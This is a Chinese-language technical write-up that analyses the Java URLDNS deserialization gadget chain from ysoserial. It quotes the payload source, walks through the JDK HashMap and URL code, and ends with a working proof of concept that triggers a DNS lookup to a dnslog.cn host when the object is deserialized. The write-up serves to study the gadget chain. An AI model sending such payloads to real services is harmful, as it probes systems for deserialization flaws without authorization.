URLDNS利用链分析
1.原理阐述
HashMap会对key进行hash计算获取hashCode，而URL类中的hashCode属性在特殊情况下（hashCode==1）的hashCode计算将触发dns查询
2.代码分析
ysoserial中的URLDNS.java
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
前面的SilentURLStreamHandler是为了防止writeObject时URL实例导致的dns查询。
根据对ysoserial代码的分析得知利用链为：
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
反序列化会调用重写的readObejct（HashMap中的readObject）
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
后半段代码中发现该方法从ObjectInputStream获取了key和value，对key进行了hash计算。
跟进hash方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
该方法中调用了key的hashCode方法。而ysoserial的URLDNS payload中给hashMap传的key是一个URL，因此这里调的是 java.net.URL的hashCode方法。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
当hashCode!=-1时返回hashCode，反之调用了handler.hashCode(this);
跟进handler.hashCode
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
跟进其中的getHostAddress方法
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}
static InetAddress getByName(String host) 方法，此方法返回一个InetAddress对象，用来在给定主机名的情况下确定主机的 IP 地址，也就是dns查询。
代码如何执行到这里是我们的最终目标。回过头看 java.net.URL的hashCode方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
hashCode属性要必须等于-1才能执行handler.hashCode(this)，而在put方法中同样也调用这个hashCode方法，将默认的-1给重置了。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
反序列化走到这里时hashCode已不再为-1，这里我们可以通过反射的方式修改hashCode属性使其重置为-1。
public class Test implements Serializable {
public static void main(String[] args) throws Exception {
URLStreamHandler handler = new URLStreamHandler() {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
};
HashMap hm = new HashMap();
String url = "http://7167t8.dnslog.cn";
URL u = new URL(null, url, handler);
Class clazz = u.getClass();
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, 0xdeadbeef);
hm.put(u, url);
field.set(u, -1);
//0x02.写入文件模拟网络传输
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("obj"));
oos.writeObject(hm);
//0x03.读取文件，进行反序列化触发payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("obj"));
ois.readObject();
}
}
3.总结
URLDNS利用链比较简单，危害较低。通过对代码的分析，走通了整个流程，明白了URLDNS触发原理。但值得反思的是如何发现利用链，第一个发现该利用链的大佬的思路是什么？